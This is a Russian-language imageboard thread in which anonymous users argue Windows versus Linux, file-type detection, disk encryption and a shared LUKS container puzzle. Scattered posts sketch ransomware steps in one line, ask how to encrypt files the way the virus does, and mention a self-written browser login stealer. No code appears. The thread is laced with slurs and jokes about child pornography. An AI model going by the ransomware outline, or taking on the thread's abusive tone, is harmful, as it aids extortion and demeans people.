Аноним 19/11/14 Срд 12:11:59 #248 №1087402 
>>1087398
>Потому что кто-то тоже купился на «удобство» расширений.
Чёрт, а ты ведь прав.
Аноним 19/11/14 Срд 12:34:08 #249 №1087409 
14163896486270.png
>>1087384
Нетривиальненько.
Аноним 19/11/14 Срд 12:38:05 #250 №1087410 
>>1087354
> не зная, что это обычный zip-архив
И будет у тебя куча файлов вместо нормального открытия распаковываться. Охуеть как удобно.
Аноним 19/11/14 Срд 12:51:39 #251 №1087415 
>>1086650
Снова возвращаюсь к необходимости шифрования файлов на компе. Ну а может тогда вирь в архиве один из последних, который ещё всякие кашпировские и дрвебы не расшифровывают пока??
Аноним 19/11/14 Срд 12:52:00 #252 №1087416 
>>1087409
Ага. Спермачам в жизни не открыть, для GNU/Linux-бога довольно просто.
>>1087410
>куча файлов вместо нормального открытия распаковываться
1. Какая же это «куча»? Перечисли.
2. Что помешает мне настроить ассоциации?
Аноним 19/11/14 Срд 12:54:27 #253 №1087417 
>>1086650
Ноль? Охуеть как сложно: сгенерировать keypair, отстучать на сервер, найти список файлов, зашифровать. Ну и серверная часть опционально, если не хочешь как дебил с каждым юзером лично общаться.
Аноним 19/11/14 Срд 12:55:14 #254 №1087418 
14163909147950.png
>>1087384
>LUKS
Нее, я не буду в этом шифрованном говне ковыряться. Сами ебитесь.
мимоаутировал
Аноним 19/11/14 Срд 12:56:59 #255 №1087419 
>>1087418
>2014
>не иметь шифрованного раздела
Ну такое.
Аноним 19/11/14 Срд 12:57:49 #256 №1087421 
>>1087416
Да, будет тебе! Они на более простых заданиях у меня сливались — жалкое племя игрунов.
Аноним 19/11/14 Срд 12:59:49 #257 №1087423 
14163911892040.png
>>1087419
Ну дык нинужно же.
Аноним 19/11/14 Срд 13:03:33 #258 №1087425 
>>1087423
Внезапно, двачую.
Аноним 19/11/14 Срд 13:05:51 #259 №1087429 
>>1087423>>1087425
Обыватели.
Аноним 19/11/14 Срд 13:06:14 #260 №1087430 
>>1087423
Это ты будешь рассказывать товарищу майору, после того, как он найдёт у тебя пару гигов рисованных (а может и вполне реальных) казахских девочек в недуховных позах и занимающихся недуховными вещами.
Аноним 19/11/14 Срд 13:07:27 #261 №1087433 
>>1087430
> шифрованный раздел для порно
Ясно.
Аноним 19/11/14 Срд 13:09:39 #262 №1087435 
>>1087433
Он всего лишь предположил типичное для тебя использование.
Аноним 19/11/14 Срд 13:09:54 #263 №1087436 
>>1087429
Мне скрывать нечего, я же не преступник.
Аноним 19/11/14 Срд 13:10:27 #264 №1087437 
>>1087416
Да тот же .odf это зип архив. Вместо открытия в каком-нибудь ОпенОфисе будет выдаваться куча непонятных файлов.
Аноним 19/11/14 Срд 13:11:48 #265 №1087440 
>>1087435
> предположил
Спроецировал.
Аноним 19/11/14 Срд 13:12:14 #266 №1087442 
>>1087430
> товарищу майору, после того, как он найдёт у тебя пару гигов рисованных
Не не надо быть несогласнером. Алсо, тов. майора не интересует, были ли девочки. Его интересует, как тебя взять за что-нибудь.
Но прямо сейчас даже юзкейс к шифровалке не могу придумать на десктопе или лептопе.
Аноним 19/11/14 Срд 13:12:49 #267 №1087444 
>>1087436
Вата. Во всём согласна с господином.
Аноним 19/11/14 Срд 13:14:02 #268 №1087445 
>>1087444
Педофилы должны страдать.
Аноним 19/11/14 Срд 13:14:28 #269 №1087446 
>>1087445
Двачую.
Аноним 19/11/14 Срд 13:15:55 #270 №1087448 
>>1087436
О чём и речь: обыватель.
>>1087440
Верно: спроецировал свои знания о шифровании на свои представления о тебе.
Аноним 19/11/14 Срд 13:16:05 #271 №1087449 
>>1087436
Показываю свою папку с документами и всеми сканами паспартов и прочим. Ты же не преступник, верно? Хули тебе от этого станет?
Аноним 19/11/14 Срд 13:17:57 #272 №1087452 
>>1087449
>Показываю свою папку с документами и всеми сканами паспартов и прочим
>хранить сканы на пеке
Аноним 19/11/14 Срд 13:18:10 #273 №1087454 
>>1087449
>Показываю свою папку с документами и всеми сканами паспартов и прочим.
А кто ты такой, чтобы я тебе что-то показывал?
Аноним 19/11/14 Срд 13:21:51 #274 №1087457 
14163925113880.png
>>1087430
Сначала нужно смоделировать ситуацию, в которой я попаду к товарищу майору. Сможешь такое?
Фу.
Аноним 19/11/14 Срд 13:24:05 #275 №1087461 
>>1087454
Да ты чо, ты же порядочный гражданин, тебе нечего скрывать! Ты же там не пидафил какой? Нет, ты вполне социальны человек, так что показать другому такому же свои документы - это же вполне нормально!
Или тебе таки есть что скрывать, ммм? Уж не пидарас ли ты там часом? Не свои ли гомооргии ты там хранишь, а?
В общем показывай давай, тут все свои.
Аноним 19/11/14 Срд 13:25:39 #276 №1087464 
>>1087442
> лептопе
Да запросто! Тебе достаточно его просто проебать, и всё, все твои пароли, переписочки, аккаунты, ключики и всё остально будет у нашедщего/спиздившего.
Аноним 19/11/14 Срд 13:26:33 #277 №1087465 
>>1087461
>тут все свои
Проиграл.
Аноним 19/11/14 Срд 13:27:25 #278 №1087466 
>>1087457
Товарищу майору скучно, он скроллит двачи, видит наш тред, решает for lulz напинать тебе хуёв за распространение порнографии (ты же анимешные картинки постишь, там и до хентая с ЦП недалеко). Спрашивает у Абу твой IP-адрес, дальше ты понял.
Аноним 19/11/14 Срд 13:29:05 #279 №1087469 
>>1087464
Согласен. Юзкейс есть. Это значит, что >>1087457>>1087436>>1087433>>1087423>>1087425-петушня уже обосралась.
Аноним 19/11/14 Срд 13:31:51 #280 №1087471 
>>1087469
И никто не сможет посмотреть моё порно? Действительно полезно.
Аноним 19/11/14 Срд 13:32:08 #281 №1087472 
>>1087469
Внезапно не всем нужны лептопы. Так что это ты обосрался.
Аноним 19/11/14 Срд 13:34:00 #282 №1087474 
>>1087472
Обычный ПК тоже могут спиздить.
Аноним 19/11/14 Срд 13:38:04 #283 №1087475 
14163934842030.png
>>1087466
Таким же макаром он может стребовать все твои посты, найти скрытые призывы к сепаратизму, определить автора ну и ты понял. Масло сливочное, 80% а не ситуация.
>>1087469
Ну это пока единственный весомый аргумент в пользу шифрования, но, опять же, всё зависит от использования. Злой ты.
>>1087474
Вместе с ПК могут спиздить что-либо и поценнее, так что утрата нешифрованных данных будет куда меньшей головной болью.
Аноним 19/11/14 Срд 13:56:18 #284 №1087479 
>>1087475
>Таким же макаром он может стребовать все твои посты, найти скрытые призывы к сепаратизму, определить автора ну и ты понял
Ну так я же пользую шифрование, в отличие от тебя. Спасибо, что дополнил моё предположение.
>утрата нешифрованных данных будет куда меньшей головной болью
Это не значит, что нужно наплевательски относиться к вопросу.
Аноним 19/11/14 Срд 14:04:04 #285 №1087483 
14163950444190.png
>>1087479
>Ну так я же пользую шифрование
Сидишь ты тоже через иностранный VPN? Подбросить-то недолго.
>наплевательски
Решение вопроса может быть разным, и не факт, что применением шифрования или скрытием данных теми или иными средствами.
Аноним 19/11/14 Срд 14:04:17 #286 №1087484 
>>1086076
> ТЕПЕРЬ ИХ ВРУЧНУЮ ПЕРЕБИВАТЬ В КОМП, СУКА!!!
Ну вот пусть сидит и перебивает, тебе-то что?
Аноним 19/11/14 Срд 14:04:20 #287 №1087485 
Господа! А если вдруг потребуется зашифровать файлы на кампьютере, подобно тому как делает этот вирус, при помощи какой программы это можно сделать? Естественно, что антивирус будет предварительно отключен вручную.
Аноним 19/11/14 Срд 14:05:13 #288 №1087486 
14163951139700.jpg
>>1087384
Пять минут интернета и пара бесплатных мокрописек, а столько гонора, "Боги", блядь - ХРРРР-тьфу в ебало.
Аноним 19/11/14 Срд 14:13:32 #289 №1087489 
>>1087485
xor на адрес.
Аноним 19/11/14 Срд 14:25:52 #290 №1087496 
>>1087486
> пара бесплатных мокрописек
Ох лол, спермач добровольно скочал криптлокеры и радуется.
Беги бекапься, пока не поздно, ебанашка!
Аноним 19/11/14 Срд 14:32:11 #291 №1087500 
>>1087496
ПЕРДООТВЕТ
Я принципиально не стал использовать ни виртуальных машин, ни загрузочных флешек с пердоликсом. Все, что есть под линукс, есть и под винду, как правило. Где твой БОГ теперь?
Аноним 19/11/14 Срд 14:44:14 #292 №1087505 
>>1087445

идиот. служи олигархам. служи барину. лох.
Аноним 19/11/14 Срд 14:45:17 #293 №1087506 
>>1087483
>Сидишь ты тоже через иностранный VPN?
Да.
>Подбросить-то недолго.
Что подбросить?
>>1087500
>Где твой БОГ теперь?
Ты забыл указать способ решения.
Аноним 19/11/14 Срд 14:46:50 #294 №1087507 
>>1087486
>file.jpg
А ведь файл-то PNG. Что, сперманька, ВРУЧНУЮ всеми программами подряд открыть пыталась? Ай да обосрамс, ай да пропердолился!
Аноним 19/11/14 Срд 14:48:01 #295 №1087508 
>>1087506
>Ты забыл указать способ решения.
Полный скриншот я для кого выкладывал?
Аноним 19/11/14 Срд 14:48:22 #296 №1087509 
>>1087461
>так что показать другому такому же свои документы - это же вполне нормально!

Но путин, министры, депутаты, олигархи ведут скрытый образ жизни. И никому не показывают ничего. Их телефонные переговоры, их содержимое компьютеров. Всё засекречено. Они крысы.

А ты строишь из себя холопа который всё раскрыть и жить по законам олигархов. Нахуя ?
Аноним 19/11/14 Срд 14:49:41 #297 №1087510 
>>1087508
Не знаю. Ну так где способ?
Аноним 19/11/14 Срд 14:50:26 #298 №1087511 
>>1087507
>А ведь файл-то PNG
Вообще похуй, главное дать понять с какой программой ассоциировать файл, а там сама разберется.
Аноним 19/11/14 Срд 14:56:06 #299 №1087517 
>>1087510
Ладно, пердоле простительно.
FreeOTFE для монтирования контейнера, стандартный пароль, Diskinternals Linuх Reader, ну можно было установить драйвер для доступа к ФС, но я не стал заморачиваться.
Аноним 19/11/14 Срд 14:56:59 #300 №1087518 
>>1087511
>блаблабла
Ну то есть, ты просто увидел в треде слово «LUKS», картинку из >>1087409 и нагуглил, чем под открывать криптоконтейнеры?
Аноним 19/11/14 Срд 14:57:54 #301 №1087519 
>>1087517
Ты так и не рассказал, как ты узнал, что test это криптоконтейнер, что внутри ext3 и что file это графический файл.
Аноним 19/11/14 Срд 15:00:14 #302 №1087522 
>>1087500
Ох тыж ебанашка необучаемая, я тебе абсолютно серьёзно говорю, а ты всё про пердоликов своих несёшь...
А то ведь через пару дней прибежишь сюда, как и оп, с порванной сракой и кирпичом вместо пеки.
Аноним 19/11/14 Срд 15:02:12 #303 №1087526 
>>1087519
Он просто скачал картинку из >>1087409 и запустил в фоне пару писек.
Аноним 19/11/14 Срд 15:06:37 #304 №1087528 
>>1087505
Бугурт педофила детектед.
Аноним 19/11/14 Срд 15:06:57 #305 №1087529 
>>1087517>>1087519
Всё, слился? Словили на СПЕРМОЖУЛЬНИЧЕСТВЕ?
Или ты там быстренько гуглишь, как под Питух ОС™ узнать тип файла по содержимому? Ну, тогда сейчас посыпятся истории, как ты cygwin за три минуты установил.
Аноним 19/11/14 Срд 15:10:15 #306 №1087532 
14163990151960.jpg
>>1087519
>как ты узнал, что test это криптоконтейнер
Открой его хоть текстовым редактором, там это на лбу написано.
>что внутри ext3
Пердоля отформатирует диск родной ФС, это же элементарно!
>file это графический файл
Это уже было понятно из контекста вопроса, даже без помощи той мокрописьки, вы же настолько скучны и предсказуемы.
Аноним 19/11/14 Срд 15:16:20 #307 №1087535 
>>1087532
>Открой его хоть текстовым редактором
СПЕРМОУНИВЕРСАЛЬНОСТЬ СПЕРМОРЕШЕНИЯ
>Пердоля отформатирует диск родной ФС
СПЕРМОЭКСТРАСЕНСОРИКА СПЕРМОСПЕЦИАЛИСТА
>Это уже было понятно из контекста вопроса
СПЕРМОСВЕРХМАНЁВРЕННОСТЬ СПЕРМОДИСКУССИИ
Нехило проиграл, конечно. А что ты будешь делать с этим http://rghost.ru/59147087 файлом, тоже в блокноте откроешь? Ну-ка, попробуй.
Аноним 19/11/14 Срд 15:16:55 #308 №1087537 
>>1087522
>А то ведь через пару дней прибежишь сюда, как и оп
Не прибегу, не ссы. По твой логике ВООБЩЕ любая программа - это криптолокер.

>>1087526
ПЕРДОПРОЕКЦИИ

>>1087529
Рефрешишь страницу в ожидании моего ответа? Ну извини, что заставил ждать.
Аноним 19/11/14 Срд 15:17:05 #309 №1087538 
>>1087529
>быстренько гуглишь
Вообще не проблема: http://alternativeto.net/software/filechk/
мимо
Аноним 19/11/14 Срд 15:17:09 #310 №1087539 
>>1087532
> Пердоля отформатирует диск родной ФС, это же элементарно!
Не обязательно. Я бы для чистоты эксперимента взял бы ТОЛСО32.

> Открой его хоть текстовым редактором, там это на лбу написано.
А в Windows нативный file не завезли разве?

> Это уже было понятно из контекста вопроса, даже без помощи той мокрописьки, вы же настолько скучны и предсказуемы.
Отнюдь. Мог быть и PostScript и PDF или self-contained dirac stream. Что, впрочем не отменяет возможность посмотреть сигнатуру хоть в Блокноте, ну за исключением, может быть direc, и всяких других видеопотоков, где пакет с синхрогруппы начинается.
Аноним 19/11/14 Срд 15:17:25 #311 №1087540 
>>1087535
>http://rghost.ru/59147087
rghost подвёл, подсказывает.
Аноним 19/11/14 Срд 15:19:01 #312 №1087542 
>>1087528

необучаемый
Аноним 19/11/14 Срд 15:19:16 #313 №1087543 
>>1087537
> Рефрешишь
Про автообновление тебе не рассказывали?
Аноним 19/11/14 Срд 15:19:34 #314 №1087544 
>>1087535
Ты поставил задачу, я ее решил. Чем ты недоволен, твой пердомирок рухнул?
Аноним 19/11/14 Срд 15:21:00 #315 №1087546 
>>1087544
>Чем ты недоволен
Способом решения, подходящим только для конкретной задачи. Для тебя это, конечно, норма — юзеры Питух ОС™ привыкли искать отдельную мокропиську для каждой задачи, но Люди обычно используют универсальные инструменты.
Аноним 19/11/14 Срд 15:25:19 #316 №1087550 
>>1087542
Какая самокритика, лол.
Аноним 19/11/14 Срд 15:29:50 #317 №1087552 
>>1087550

ты слился. иди в кремль поклоняйся барину. вата сраная. ты тупорылый мудак. "россиюшка самая лучшая страна, в россиюшке самые лучшие законы, ура, кудах-кудах".
Аноним 19/11/14 Срд 15:33:39 #318 №1087556 
>>1087552
Какой мощный бугурт педофила-преступника. Продолжай.
Аноним 19/11/14 Срд 15:33:44 #319 №1087557 
>>1087552
Ох лол, свинину порвало на ровном месте.
Аноним 19/11/14 Срд 15:34:25 #320 №1087559 
>>1087539
После драки кулаками не машут.

>>1087540
Ну что ты будешь делать, даже файлопомойка против пердоли.

>>1087546
Меня задел гонор, с которой была поставлена задача, я ожидал увидеть криптоконтейнеры, зашифрованные такими паролями, что потребовались бы квантовые компьютеры, а на деле достаточно блокнота.
>Люди обычно используют универсальные инструменты.
То то один пердолик сразу сломался, а другой назвал задачу "нетривиальной". Если это для вас "нетривиально", то мне вас искренне жаль.
Аноним 19/11/14 Срд 15:34:32 #321 №1087560 
>>1087552
Пожаловался на заблудившуюся свинку.
Аноним 19/11/14 Срд 15:36:53 #322 №1087561 
>>1087556

педофилы мерещатся ?

>>1087557
>>1087560

вате мерещатся укропы. ну вы дауны. вы петухи сраные.
Аноним 19/11/14 Срд 15:37:21 #323 №1087562 
>>1087559
>Меня задел гонор
У-тю-тю, спермодевочку обидели. Так как бы ты, говоришь, узнал бы тип http://rghost.ru/59147087, если бы тебе не подсказали?
>мне вас искренне жаль
Приближается время слива :3
Аноним 19/11/14 Срд 15:39:52 #324 №1087563 
>>1087559
> После драки кулаками не машут.
Я и не махал. Просто пояснил за нестойкость аргументов.

> задел гонор, с которой была поставлена задача
> Если это для вас "нетривиально", то мне вас искренне жаль.
> То то один пердолик сразу сломался, а другой назвал задачу "нетривиальной".
Чего ты сам петухом запел-то? Я сказал «нетривиальненько». Что именно я имел в виду, мог бы поинтересоваться прежде, чем приписывать мне то, чего я не говорил.
Аноним 19/11/14 Срд 15:40:37 #325 №1087565 
>>1087535
gzip compressed data
LUKS encrypted file
А дальше мне стало лень ставить FreeOTFE.
Узнал с помощью этого сервиса: http://www.toolsley.com/file.html
Аноним 19/11/14 Срд 15:42:58 #326 №1087566 
>>1087562
Спокойно! Он узнал бы. Судя по всему, он бы решил твою задачу, даже если бы здесь капча на регэкспах была. Он не входит в множество «типового массового пользователя Windows».
Аноним 19/11/14 Срд 15:44:00 #327 №1087567 
14164010400560.jpg
>>1087561
Аноним 19/11/14 Срд 15:45:02 #328 №1087570 
>>1087567

вата слилась.
Аноним 19/11/14 Срд 15:47:39 #329 №1087573 
>>1087570
>>1087567
Аноним 19/11/14 Срд 15:49:48 #330 №1087576 
>>1087565
>Узнал с помощью этого сервиса: >http://www.toolsley.com/file.html
>быстренько гуглишь, как под Питух ОС™ узнать тип файла по содержимому
Kek. Так и запишем: спермачи не способны самостоятельно решить задачу без сторонних сервисов.
>>1087566
Вероятно, это так, но спермачём он всё равно остаётся.
Аноним 19/11/14 Срд 15:53:10 #331 №1087578 
>>1087576
А в чём проблема, пердоля? Задача решена.
Аноним 19/11/14 Срд 15:55:04 #332 №1087580 
>>1087578
>в чём проблема
Память короткая? >>1087546
Аноним 19/11/14 Срд 15:57:55 #333 №1087584 
>>1087580
И чем же этот способ не универсален?
Аноним 19/11/14 Срд 15:58:21 #334 №1087586 
>>1087580
Можно подумать, что нельзя придумать задачу, которая заставила бы тебя компилить из исходников, попутно разгребая зависимости.
Аноним 19/11/14 Срд 16:01:16 #335 №1087592 
>>1087584
Это риторический вопрос? Давай ты сам секунд десят подумаешь.
Что, неужели не придумал? Ладно, вот ответ.
Невозможностью применения в отсутствие интернета?
>>1087586
Задачу, связанную с идентификацией файла? Хм, ну попробуй. Только учти, на Шindows она должна решаться проще, иначе никакого отсоса не будет.
Аноним 19/11/14 Срд 16:03:18 #336 №1087595 
>>1087592
>Невозможностью применения в отсутствие интернета?
При отсутствии cryptosetup или что там для люкса требуется в системе ты бы тоже соснул.
Аноним 19/11/14 Срд 16:05:13 #337 №1087597 
>>1087595
Почему же? У меня локальное зеркало репозитория есть.
Аноним 19/11/14 Срд 16:06:32 #338 №1087598 
>>1087597
Шо, прям-таки изкоробки?
Аноним 19/11/14 Срд 16:07:04 #339 №1087600 
>>1087592
>Невозможностью применения в отсутствие интернета?
Ты уже начал придираться. Ещё скажи, что мой способ нельзя применить в отсутствии электричества. Ну не получилось у тебя показать своё мнимое превосходство, ну смирись уже.
Аноним 19/11/14 Срд 16:17:03 #340 №1087611 
>>1087598
«Из коробки» у меня, в отличие от спермачей, три DVD-диска со всем софтом.
>>1087600
>кое-как костылями, с использованием готовых данных, придумал способ возможного решения задания
>мнимое превосходство
Ага.
Аноним 19/11/14 Срд 16:21:03 #341 №1087616 
>>1087611
У этого сервиса есть десктопные аналоги, просто мне было лень их устанавливать: http://alternativeto.net/software/toolsley-file-identifier/
Аноним 19/11/14 Срд 16:24:53 #342 №1087621 
>>1087611
>называет SaaS костылём
Аноним 19/11/14 Срд 16:26:56 #343 №1087625 
>>1087616
>было лень их устанавливать
Естественно, ведь установка ПО на Питух ОС™ это целое действо: нужно найти, откуда скачать, потом скачать, потом запустить установщик, проверить лишние галочки, и, наконец-то, установить.
>>1087621
Да, я так делаю. Потому что могу.
Аноним 19/11/14 Срд 16:36:44 #344 №1087632 
>>1087625
>Да, я так делаю. Потому что могу.
Ок. Тогда локальное зеркало репозитория - это тоже костыль. Это же нужно покупать привод, диски, постоянно следить за актуальностью репозиториев, перезаписывать их. Ужас. А компьютер без интернета вообще не нужен.
Аноним 19/11/14 Срд 16:39:50 #345 №1087636 
>>1087632
> Это же нужно покупать привод, диски, постоянно следить за актуальностью репозиториев, перезаписывать их.
А хранить .iso на диске и монтировать по необходимости ты не додумался? Даун штоле?
Аноним 19/11/14 Срд 16:42:35 #346 №1087638 
>>1087632
>локальное зеркало
>покупать привод, диски
>следить за актуальностью репозиториев, перезаписывать
Этот пердолик ебанулся, вызовите скорую.
http://mirror.yandex.ru/ тоже приводы с дисками купили, наверное? И отдельный человек у них сидит перезаписывает?
Аноним 19/11/14 Срд 16:45:24 #347 №1087641 
>>1087636
Но ты же записал их на dvd, и кто из нас после этого даун? :3
Аноним 19/11/14 Срд 16:49:44 #348 №1087647 
>>1087641
Подозреваю, что он траллит, кто в здравом уме будет в 2014 году ебаться с болванками?
Аноним 19/11/14 Срд 16:50:43 #349 №1087649 
>>1087625
>Питух ОС™
>пердолик
Зря стараешься, вам от этих прозвищ уже не отмыться никакими антифорсами.
Аноним 19/11/14 Срд 16:51:14 #350 №1087650 
>>1087647
>кто
Пердолики
Аноним 19/11/14 Срд 16:52:12 #351 №1087651 
>>1087647
Ты недооцениваешь ебанутость пердоликов, лол.
Аноним 19/11/14 Срд 16:52:27 #352 №1087652 
>>1087641
>ты же записал их на dvd
Это тебе кто рассказал, фантазёр?
>>1087649
Пердоля опять пытается в антифорс. Прекращай, ты жалок.
Аноним 19/11/14 Срд 16:53:50 #353 №1087654 
>>1087641
Но я нихуя не записывал же.
Аноним 19/11/14 Срд 16:58:45 #354 №1087661 
Ох, я понял: >>1087641 не понял, что такое "монтировать" и подумал, что это означает "записывать" прожигать, то есть. Просвящайся! http://linux.die.net/man/8/mount
Аноним 19/11/14 Срд 17:00:14 #355 №1087663 
>>1087654
>Но я нихуя не записывал же.
>три DVD-диска со всем софтом
Аноним 19/11/14 Срд 17:00:59 #356 №1087664 
>>1087663
Он их купил.
Аноним 19/11/14 Срд 17:02:18 #357 №1087666 
>>1087652
>>1087654
>«Из коробки» у меня, в отличие от спермачей, три DVD-диска со всем софтом.
Это наверное пользователь винды написал?
Аноним 19/11/14 Срд 17:04:50 #358 №1087670 
>>1087666
Это написал один из этих трёх DVD-дисков.
Аноним 19/11/14 Срд 17:04:54 #359 №1087671 
>>1087661
Неправильно ты понял.
Аноним 19/11/14 Срд 17:04:57 #360 №1087672 
>>1087666
И где же ты увидел там, что я их записал?
Аноним 19/11/14 Срд 17:06:03 #361 №1087673 
>>1087663
Но это не я. Хотя, это не важно: твоё (>>1087632) утверждение
> Это же нужно покупать привод, диски, постоянно следить за актуальностью репозиториев, перезаписывать их
опровергнуто вот тут (>>1087636).
Аноним 19/11/14 Срд 17:09:35 #362 №1087681 
>>1087672
Так ты их всё-таки КУПИЛ?
Аноним 19/11/14 Срд 17:14:40 #363 №1087691 
>>1087673
Не опровергнуто. Даже если просто хранить исошники на диске, всё равно придётся регулярно делать следующее:
>постоянно следить за актуальностью репозиториев, перезаписывать их
Аноним 19/11/14 Срд 17:20:56 #364 №1087697 
>>1087691
Ты вручную собрался этим заниматься?
Аноним 19/11/14 Срд 17:24:58 #365 №1087703 
>>1087681
Где ты увидел, что я их купил?
>>1087691
Повторяю вопрос, в яндексе http://mirror.yandex.ru/ тоже вручную этим занимаются?
Аноним 19/11/14 Срд 17:26:47 #366 №1087704 
>>1087697
Расскажи как этот процесс можно автоматизировать.
Аноним 19/11/14 Срд 17:28:49 #367 №1087705 
>>1087704
rsync, cron
Аноним 19/11/14 Срд 17:32:40 #368 №1087708 
>>1087703
Ты умеешь отличать вопросительные предложения от других?
Аноним 19/11/14 Срд 17:39:23 #369 №1087714 
>>1087708
А ты?
Аноним 19/11/14 Срд 17:42:34 #370 №1087718 
>>1087714
Я умею, а вот у тебя, похоже, с этим проблемы.
Аноним 19/11/14 Срд 17:49:14 #371 №1087725 
>>1087705
>rsync
Костыль для поддержки актуальности другого костыля. Как мило.
Аноним 19/11/14 Срд 17:55:37 #372 №1087727 
>>1087293
Я имел ввиду то что реализованы они были сначала в пгп, а гпг и всякие гпг4юсб, 4вин уже сделаны были с него по сути. Будет он меня отправлять читать про рса, блять, знаток! Ну могу в си, ским, баш, как сделать чтобы работало в винде все равно не представляю, киньте манов, блджад!
Аноним 19/11/14 Срд 17:58:09 #373 №1087730 
>>1087725
Почему костыль?
Аноним 19/11/14 Срд 18:01:03 #374 №1087733 
>>1087293
То ли ты не разбираешься а притворяешься, то ли вопроса просто не понимаешь. Ведь нельзя адаптировать это под вин не зная некоторых особенностей ее работы, если конечно не изобретать велосипед заново на си. Я имею ввиду какими средствами воспользоваться для упрощения задачи, и как это работает в винде, подскажешь?
Аноним 19/11/14 Срд 18:05:27 #375 №1087736 
>>1087718
Ошибаешься.
>>1087727
>реализованы они были сначала в пгп
Дурак ты, вася. Алгоритмы были реализованы задолго до их вхождения в pgp.
>могу в си
>как сделать чтобы работало в винде все равно не представляю
gcc и под шинду есть. А ещё есть кросс-компиляция. А ещё можно прямо под спермой на Си писать.
Аноним 19/11/14 Срд 18:08:25 #376 №1087737 
>>1087733
>нельзя адаптировать это под вин не зная некоторых особенностей ее работы
Каких? Я писал стилер логинов на перле, единственной разницей между платформами были пути к директориям браузеров.
Аноним 19/11/14 Срд 18:09:49 #377 №1087738 
>>1087736
Блять, ты серьезно или притворяешься? Ясное это дело про алгоритмы, я о том что пгп это первый годный продукт, остальное уже было после.
Аноним 19/11/14 Срд 18:11:17 #378 №1087740 
>>1087737
Ясно, быстрее будет самому пошарить интернеты чем добиться от тебя ответа.
Аноним 19/11/14 Срд 18:12:27 #379 №1087742 
>>1087730
Потому что его нужно устанавливать, искаропки-то он не доступен.
Аноним 19/11/14 Срд 18:15:03 #380 №1087745 
>>1087736
>Ошибаешься.
Нет. Иначе ты бы не стал отвечать вопросом >>1087703 на мой вопрос >>1087681
Аноним 19/11/14 Срд 18:15:30 #381 №1087746 
>>1087738
>я о том что пгп это первый годный продукт
Странно, что у тебя получилось это сказать только с третьего раза.
>>1087740
Так ты так и не сообщил, что тебе нужно. Какие-то мифические «различия» у него, лол. Ну да, есть небольшие: в ЖМУ/Пинусе всё с корня начинается, а от спермачей его спрятали, выдав буквы дисков. А остальное за тебя уже решили те люди, которые портировали Си на ту или иную систему.
Аноним 19/11/14 Срд 18:16:43 #382 №1087748 
>>1087745
Тогда получается, что и у тебя проблемы, ведь иначе ты бы не стал отвечать вопросом >>1087708 на мой вопрос >>1087703?
Аноним 19/11/14 Срд 18:18:04 #383 №1087751 
>>1087748
>вопросом >>1087708 на мой вопрос >>1087703
И вопросом >>1087681 на мой вопрос >>1087672.
И вопросом >>1087666 на мой вопрос >>1087652.
Аноним 19/11/14 Срд 18:19:46 #384 №1087752 
>>1087748
У меня проблем нет, просто я решил выяснить всё ли с тобой в порядке.
Аноним 19/11/14 Срд 18:20:56 #385 №1087755 
>>1087752
>У меня проблем нет
Ошибаешься.
Аноним 19/11/14 Срд 18:22:35 #386 №1087756 
>>1087742
Доступен искаропки.
Аноним 19/11/14 Срд 18:25:26 #387 №1087761 
>>1087751
>вопросом >>1087708 на мой вопрос >>1087703
Ты правда не понимаешь проблемы, лол? Где ты увидел, что я утверждаю, что ты их купил?
Аноним 19/11/14 Срд 18:26:12 #388 №1087763 
>>1087756
В каком дистрибутиве?
Аноним 19/11/14 Срд 18:31:17 #389 №1087768 
>>1087752
Ты правда не понимаешь проблемы, лол? Где ты увидел, что я утверждаю, что я их купил?
>>1087763
Debian GNU/Linux.
Аноним 19/11/14 Срд 18:32:37 #390 №1087770 
>>1087763
Убунту и Генту.
Аноним 19/11/14 Срд 20:48:43 #391 №1087878 
>>1087768
>Где ты увидел, что я утверждаю, что я их купил?
Лол, какой же ты идиот. Я даже схоронил этот тред для потомков.
Аноним 19/11/14 Срд 20:50:29 #392 №1087879 
14164194298780.png
>>1087768
>Debian GNU/Linux.
Ложь.
Аноним 19/11/14 Срд 21:04:37 #393 №1087896 
14164202779600.png
>>1087384
Полчаса пароль подбирал.
sageАноним 19/11/14 Срд 21:29:58 #394 №1087909 
14164217981720.png
>>1087879
Истина. Чини свой Дебиан ЖМУ/Пинус.
https://packages.debian.org/search?keywords=rsync
Аноним 19/11/14 Срд 21:40:20 #395 №1087913 
>>1087384
А как вы так быстро люкс взломали? Короткий пароль или что?
Аноним 19/11/14 Срд 21:40:26 #396 №1087914 
>>1087879
>Доступен искаропки.
>пакет rsync не установлен
И где же ты ложь увидел, гуманитаришка?
>>1087896
Ну ты и лолка. Мог бы просто спросить.
Аноним 19/11/14 Срд 21:40:49 #397 №1087915 
>>1087913
Стандартный.
Аноним 19/11/14 Срд 23:14:11 #398 №1087997 
>>1087343
Поясните, а на домашней пекарне стоит выводить темп в отдельный раздел?
Аноним 19/11/14 Срд 23:27:19 #399 №1088008 
>>1087576
>Вероятно, это так, но спермачём он всё равно остаётся.
Точно так же, как ты остаешься пердолей, а не пердобогом.
Аноним 19/11/14 Срд 23:29:12 #400 №1088009 
14164289525140.jpg
>>1087377
Если пердоликс столкнётся с неизвестным расширением, то он также обосрётся.

>>1087384
Какой-то шифрованный образ или криптоконтейнер. Даю 99% что пароль "ебалтвоюмамку"

>>1087398
Определение типа по расширению уменьшает количество файловых операций, ведь для этого надо только обработать имя, а не создать 1. дескриптор файла 2. прочитать первые байты 3. закрыть дескриптор файла, в пересчёте на повседневную работу и папки с большим количеством файлов (например, папки с фотками) получается огромная экономия вычислительной мощности и ускорение, вывода содержимого папок в GUI-оболочках. А если учесть, что всё это зарождалось в бородатые времена с черепашьими скоростями дисков и когда была каждая файловая операция на счету, то вообще МЕГА оптимизация была.


Аноним 19/11/14 Срд 23:36:28 #401 №1088016 
>>1087997
Выводить стоит не вообще на отдельный раздел, а конкретно на tmpfs
Аноним 19/11/14 Срд 23:43:28 #402 №1088018 
>>1088009
>Определение типа по расширению уменьшает количество файловых операций
Два чая адеквату.
Аноним 19/11/14 Срд 23:44:21 #403 №1088019 
>>1088009
> получается огромная экономия вычислительной мощности и ускорение
То-то спермо-ФС всасывает с заглотом у нормальных файловых систем, даже если те не настроены для повышения производительности.
Пруфы можно найти повсюду, например http://fsi-viewer.blogspot.ru/2011/10/filesystem-benchmarks-part-i.html
Аноним 19/11/14 Срд 23:46:26 #404 №1088021 
>>1088019
То-то пердоликс тормозит при открытии больших списков файлов.
Аноним 19/11/14 Срд 23:46:38 #405 №1088022 
>>1088019
Тесты надо делать на родном софте, NTFS надо на винде тестить и делать бенчмарки. Поэтому ты соснул.
Аноним 19/11/14 Срд 23:46:59 #406 №1088023 
